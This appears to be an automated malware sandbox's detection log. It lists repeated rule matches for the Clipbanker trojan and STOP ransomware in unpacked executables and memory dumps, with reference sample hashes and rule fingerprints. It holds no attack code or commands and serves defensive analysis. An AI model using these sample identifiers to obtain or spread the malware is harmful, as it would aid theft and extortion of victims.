Source: 25.2.mstsca.exe.8e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 16.2.build3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 16.2.build3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 28.2.mstsca.exe.a715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 28.2.mstsca.exe.a715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 13.2.build3.exe.8915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 13.2.build3.exe.8915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 16.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 16.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 5.2.lzShU2RYJa.exe.5f215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.lzShU2RYJa.exe.5f215a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 29.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 29.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 20.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 20.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 13.2.build3.exe.8915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 13.2.build3.exe.8915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 28.2.mstsca.exe.a715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 28.2.mstsca.exe.a715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 30.2.mstsca.exe.8f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 30.2.mstsca.exe.8f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 1.2.lzShU2RYJa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.2.lzShU2RYJa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 29.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 29.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 5.2.lzShU2RYJa.exe.5f215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.lzShU2RYJa.exe.5f215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 23.2.lzShU2RYJa.exe.5e615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 23.2.lzShU2RYJa.exe.5e615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 10.2.lzShU2RYJa.exe.5de15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 10.2.lzShU2RYJa.exe.5de15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 4.2.lzShU2RYJa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 4.2.lzShU2RYJa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.lzShU2RYJa.exe.5e215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.lzShU2RYJa.exe.5e215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.lzShU2RYJa.exe.5e215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.lzShU2RYJa.exe.5e215a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 4.2.lzShU2RYJa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 4.2.lzShU2RYJa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.2.lzShU2RYJa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.lzShU2RYJa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.lzShU2RYJa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.lzShU2RYJa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 24.2.lzShU2RYJa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 24.2.lzShU2RYJa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.2.lzShU2RYJa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.lzShU2RYJa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.lzShU2RYJa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.lzShU2RYJa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 24.2.lzShU2RYJa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 24.2.lzShU2RYJa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 3.2.lzShU2RYJa.exe.5e015a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 3.2.lzShU2RYJa.exe.5e015a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 10.2.lzShU2RYJa.exe.5de15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 10.2.lzShU2RYJa.exe.5de15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 3.2.lzShU2RYJa.exe.5e015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 3.2.lzShU2RYJa.exe.5e015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 23.2.lzShU2RYJa.exe.5e615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 23.2.lzShU2RYJa.exe.5e615a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 1.2.lzShU2RYJa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.2.lzShU2RYJa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000001D.00000002.3044271197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001D.00000002.3044271197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
